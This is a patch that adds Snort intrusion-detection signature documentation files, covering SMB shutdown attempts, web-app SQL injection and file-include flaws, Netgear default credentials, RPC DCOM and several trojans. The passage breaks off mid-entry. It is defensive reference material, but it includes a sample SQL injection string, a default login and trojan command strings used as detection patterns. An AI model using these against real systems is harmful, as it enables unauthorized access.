+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2996.txt
+++ snort-2.8.5.2/doc/signatures/2996.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+2996
+
+--
+Summary:
+This event is generated when an attempt is made to shutdown a Windows
+system via SMB. 
+
+--
+Impact:
+Serious.
+
+--
+Detailed Information:
+This event indicates that an attempt was made to shutdown a Windows
+system via SMB across the network.
+
+It may be possible for an attacker to manipulate a Windows system
+from a remote location. Shutting down a system may lead to a Denial of
+Service for the target host.
+
+--
+Affected Systems:
+	Microsoft Windows systems.
+
+--
+Attack Scenarios:
+An attacker may be able to manipulate a target system using SMB. The
+attacker may gain complete control over the affected system.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of system compromise.
+
+Turn off file and print sharing on the target host.
+
+Use a packet filtering firewall to disallow SMB access to the host from
+sources external to the protected network.
+
+Disallow remote registry manipulation.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2223.txt
+++ snort-2.8.5.2/doc/signatures/2223.txt
@@ -0,0 +1,54 @@
+Rule:  
+
+--
+Sid:
+2223
+
+--
+Summary:
+This event is generated when an attempt is made to access csNews.cgi on an internal web server. This may indicate an attempt to exploit a file disclosure vulnerability in csNews.cgi, a script distributed by CGIScript.NET.
+
+--
+Impact:
+Information disclosure. The attacker must have an authenticated account to successfully execute this exploit.
+
+--
+Detailed Information:
+csNews.cgi is a Perl script that manages web-based news items, and contains a vulnerability in its ability to decode and filter out double-decoded URL data on the Advanced Settings page. An authenticated attacker can insert double-decoded directory traversals and file names into the header or footer parameters in csNews.cgi, and the files will appear in the header or footer of the page. 
+
+--
+Affected Systems:
+Systems running CGISCRIPT.NET csNews 1.0 or CGISCRIPT.NET csNews Professional 1.0
+
+--
+Attack Scenarios:
+An attacker crafts a URL with /../../passwd double-encoded in the header or footer parameter. If the password file exists in that location, the file will appear in the header or footer of the web page.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+If a legitimate remote user accesses csNews.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+It is not known if this vulnerability has been patched or fixed in later versions. Contact the vendor for more information.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2230.txt
+++ snort-2.8.5.2/doc/signatures/2230.txt
@@ -0,0 +1,57 @@
+Rule:  
+
+--
+Sid:
+2230
+
+--
+Summary:
+This event is generated when an attempt is made to access the web 
+administration interface for a Netgear router using the default username
+and password.
+
+--
+Impact:
+Administrative access to the router
+
+--
+Detailed Information:
+Netgear routers have a default username and password of "admin" and 
+"password", if this is not changed by the administrator it is possible 
+for an attacker to gain administrative access to the router.
+
+--
+Affected Systems:
+	Netgear routers
+
+--
+Attack Scenarios:
+An attacker merely needs to login to the interface using the default 
+username and password via a web browser.
+
+--
+Ease of Attack:
+Simple. NO exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Change the username and password.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2667.txt
+++ snort-2.8.5.2/doc/signatures/2667.txt
@@ -0,0 +1,65 @@
+Rule: 
+
+--
+Sid: 
+2667
+
+-- 
+Summary: 
+This event is generated when an attempt is made to access the file
+ping.asp.
+
+-- 
+Impact: 
+Possible Denial of Service (DoS)
+
+--
+Detailed Information:
+The script ping.asp allows a user to use the system ping command to send
+ICMP echo request messages to a third party from the web server hosting
+the script.
+
+This script does not properly sanitize user input and may be used as a
+tool in a DoS attack against that third party server.
+
+--
+Affected Systems:
+	All systems
+
+--
+Attack Scenarios: 
+An attacker can supply the address of a target host and pass parameters
+to the ping command via the web interface to cause a possible exhaustion
+of resources on a target host to cause the DoS condition.
+
+-- 
+Ease of Attack: 
+Simple
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Uninstall the script ping.asp
+
+Only allow usage from authenticated users
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+SecurityFocus mailing list:
+http://online.securityfocus.com/archive/82/275088
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1570.txt
+++ snort-2.8.5.2/doc/signatures/1570.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+1570
+
+--
+Summary:
+This event is generated when an attempt is made to access the file
+loadpage.cgi.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain access to the
+script loadpage.cgi, part of the CGI application AHG EZshopper running
+on a web server. Some applications do not perform stringent checks when
+validating the credentials of a client host connecting to the services
+offered on a host server. This can lead to unauthorized access and
+possibly escalated privileges to that of the administrator. Data stored
+on the machine can be compromised and trust relationships between the
+victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+
+	AHG EZshopper v3.0 and v2.0 for UNIX
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+NSFocus:
+http://www.nsfocus.com/english/homepage/research/0009.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/870.txt
+++ snort-2.8.5.2/doc/signatures/870.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+870
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2063.txt
+++ snort-2.8.5.2/doc/signatures/2063.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+2063
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in Demarc PureSecure.
+
+--
+Impact:
+Administrative control of the Demarc PureSecure IDS, Information 
+disclosure
+
+--
+Detailed Information:
+Demarc PureSecure is a Snort based Intrusion Detection System. A 
+vulnerability exists where an attacker can bypass login authorization 
+using SQL injection.
+
+Versions of Demarc PureSecure up to 1.6 suffer from poor authentication 
+methods, where input in the form of specially constructed SQL queries 
+can allow an attacker to gain administrative access to the IDS.
+
+--
+Affected Systems:
+Demarc PureSecure prior to version 1.6
+
+--
+Attack Scenarios:
+The attacker needs to send specially constructed SQL queries directly to
+the Demarc login page.
+
+For example, the attacker might send his own variables for the session 
+id or session key in a query s_key=' OR current_session_id LIKE '%' the 
+attacker would of course, need to convert spaces to their encoded 
+equivalents and escape special characters.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/4520
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0539
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000619.txt
+++ snort-2.8.5.2/doc/signatures/100000619.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000619
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "link_validate_edit.php" using a remote file being passed as 
+the "admin_template_path" parameter may indicate that an exploitation attempt 
+has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"link_validate_edit.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3425.txt
+++ snort-2.8.5.2/doc/signatures/3425.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3425
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2419.txt
+++ snort-2.8.5.2/doc/signatures/2419.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2419
+
+--
+Summary:
+This event is generated when an attempt is made to download a file that
+may be an attack vector for a known exploit to a vulnerability in Real 
+Networks RealPlayer/RealOne player.
+
+--
+Impact:
+Serious. Execution of arbitrary code.
+
+--
+Detailed Information:
+RealNetworks RealPlayer/RealOne player is a streaming media player for
+Microsoft Windows, Apple Macintosh and UNIX/Linux based operating systems.
+
+A buffer overrun condition is present in some versions of the player
+that may present a remote attacker with the opportunity to execute code
+of their choosing on a client using one of these players.
+
+--
+Affected Systems:
+	Real Networks RealOne Desktop Manager
+	Real Networks RealOne Enterprise Desktop 6.0.11 .774
+	Real Networks RealOne Player 1.0
+	Real Networks RealOne Player 2.0
+	Real Networks RealOne Player 6.0.11 .868
+	Real Networks RealOne Player version 2.0 for Windows
+	Real Networks RealPlayer 8.0 Win32
+	Real Networks RealPlayer 8.0 Unix
+	Real Networks RealPlayer 8.0 Mac
+	Real Networks RealPlayer 10.0 BETA
+
+--
+Attack Scenarios:
+An attacker may supply a malformed file to the client to exploit the
+issue.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1820.txt
+++ snort-2.8.5.2/doc/signatures/1820.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1820
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2481.txt
+++ snort-2.8.5.2/doc/signatures/2481.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2176
+
+
+--
+Summary:
+This event is generated when an attempt is made to shutdown a service via SMB. 
+
+--
+Impact:
+Serious.
+
+--
+Detailed Information:
+This event indicates that an attempt was made to shutdown a service
+on a system using SMB across the network.
+
+--
+Affected Systems:
+	Microsoft Windows systems.
+
+--
+Attack Scenarios:
+An attacker may try to deny services to other users.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of system compromise.
+
+Turn off file and print sharing on the target host.
+
+Use a packet filtering firewall to disallow SMB access to the host from
+sources external to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1648.txt
+++ snort-2.8.5.2/doc/signatures/1648.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1648
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/725.txt
+++ snort-2.8.5.2/doc/signatures/725.txt
@@ -0,0 +1,91 @@
+Rule:
+
+--
+Sid:
+725
+
+
+--
+Summary:
+This event is generated when worm activity is detected. More specifcally
+this event indicates possible "My Romeo" propogation.
+
+--
+Impact:
+Serious. The victim host may be infected with a worm.
+
+--
+Detailed Information:
+This worm propogates via electronic mail and exploits a known
+vulnerability in the way that versions of Microsoft Outlook and Internet
+Explorer handle trusted HTML pages. The worm is launched via a compiled
+HTML file (.chm) which is used by Microsoft WIndows Help.
+
+The executable part of the worm is called from within the trusted
+compiled HTML file. The worm attempts to propagate using hard coded
+addresses of SMTP servers.
+
+This worm is also Known As: Romeo and Juliet, W32/Verona, TrojBlebla.A
+
+--
+Affected Systems:
+	Microsoft Windows 9x
+	Microsoft Windows 2000
+
+--
+Attack Scenarios:
+Symantec Anti-Virus center states that the worm arrives as an email
+message that has an HTML body and two attachments named Myjuliet.chm
+and Myromeo.exe. The subject of the email is selected at random from
+the following set:
+
+Romeo&Juliet
+hello world
+subject
+ble bla, bee
+I Love You ;)
+sorry...
+Hey you !
+Matrix has you...
+my picture
+from shake-beer
+
+--
+Ease of Attack:
+Simple. This is worm activity.
+
+--
+False Positives:
+Legitimate electronic mail containing the known subject lines used by
+MyRomeo may cause this rule to generate an event.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches and service packs.
+
+Use Anti-Virus software to detect and delete virus laden email.
+
+This worm makes changes to the system registry, removal of the affected
+registry keys should be done using an appropriate virus removal tool or
+by an experienced Windows administrator.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+McAfee
+http://vil.nai.com/vil/content/v_98894.htm
+
+Symantec Security Response
+http://securityresponse.symantec.com/avcenter/venc/data/w32.blebla.worm.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000532.txt
+++ snort-2.8.5.2/doc/signatures/100000532.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000532
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "BtitTracker" application running on a webserver. Access 
+to the file "torrents.php" with SQL commands being passed as the "order" 
+parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "order" parameter in the "torrents.php" script used by 
+the "BtitTracker" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using BtitTracker
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1984.txt
+++ snort-2.8.5.2/doc/signatures/1984.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+1984
+
+--
+Summary:
+Deepthroat is a Trojan Horse offering the attacker control of the target.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a compromise of all resources the machine is connected to. This Trojan also has the ability to delete data, steal passwords and disable the machine.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+
+The Trojan changes system registry settings to add the Deepthroat sever to programs normally started on boot.
+
+See also rules with sids 195, 1980, 1981, 1982 and 1983.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This event is indicative of an existing infection being activated. Initial compromise can be in the form of a Win32 installation program that may use the extension ".jpg" or ".bmp" when delivered via e-mail for example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised. Updated virus definition files are essential in detecting this Trojan. Once compromised, this Trojan grants the attacker the ability to almost completely control the target.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Edit the system registry to remove the extra keys or restore a previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
+
+Registry keys added are:
+
+	Systemtray
+
+Removal of the files pddt.dat and systray.exe from the Windows system directory is required.
+
+Ending the process systray.exe is also necessary. A reboot of the infected machine is recommended.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS106
+
+Symantec Security Response
+http://securityresponse.symantec.com/avcenter/venc/data/deepthroat.trojan.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000374.txt
+++ snort-2.8.5.2/doc/signatures/100000374.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000374
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "phpNuke" application running on a webserver. Access to the file "admin_words.php" using a remote file being passed as the "phpbb_root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpbb_root_path" parameter in the "admin_words.php" script used by the "phpNuke" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using phpNuke
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000845.txt
+++ snort-2.8.5.2/doc/signatures/100000845.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000845
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "Invision Power Board" application running on a webserver. Access to the file "ipsclass.php" with SQL commands being passed as the "HTTP_CLIENT_IP" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "HTTP_CLIENT_IP" parameter in the "ipsclass.php" script used by the "Invision Power Board" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Invision Power Board
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3013.txt
+++ snort-2.8.5.2/doc/signatures/3013.txt
@@ -0,0 +1,85 @@
+Rule: 
+
+--
+Sid: 
+3013
+-- 
+Summary: 
+This event is generated when an attacker attempts to connect to the
+victim using the Asylum 0.1 trojan.
+
+-- 
+Impact: 
+If successful, the attacker would gain unauthorized access to the
+system, enabling him to upload and execute files on the computer and
+reboot it at will, resulting in a full compromise of the victim's computer. 
+
+--
+Detailed Information:
+When executed, Asylum 0.1 opens up its assigned port (default is 23432)
+for communication with the attacker. Asylum 0.1 has four functions:
+Upload File, Open File, Reboot Computer, and Remove Server. 
+
+Upload File: Look for traffic on port 23432 containing UPL followed by a file location.
+Open File: Look for traffic on port 23432 containing RUN followed by a file location.
+Reboot: Look for the string "RBT" on port 23432.
+Remove Server: Look for the string "DIE" on port 23432.
+
+--
+Affected Systems:
+Windows 95/98/ME/NT/2000
+
+--
+Attack Scenarios: 
+The victim must first install the server. Be wary of suspicious files
+because they often can be backdoors in disguise. Once the victim
+mistakenly installs the server program, the attacker usually will employ
+an IP scanner program to find the IP addresses of victims that have
+installed the program. Then the attacker enters the IP address, port
+number (which  is assigned to the server program by the attacker:
+default is 23432), and presses the connect button and he has access to
+the computer.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+-- 
+Corrective Action:
+
+Delete the System Administration key (if found) in 
+HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run or
+HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices or
+HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.
+
+Open the system.ini and (if found) replace shell=Explore.exe win32cmp.exe to shell=explore.exe
+
+Open the win.ini and (if found) delete load=c:\windows\wincmp32.exe or run=c:\windows\wincmp32.exe
+
+Find and delete the Asylum 0.1 trojan server file, usually called wincmp32.exe.
+
+Keep anti-virus programs updated with the latest definitions.
+
+--
+Contributors:
+Sourcefire Research Team
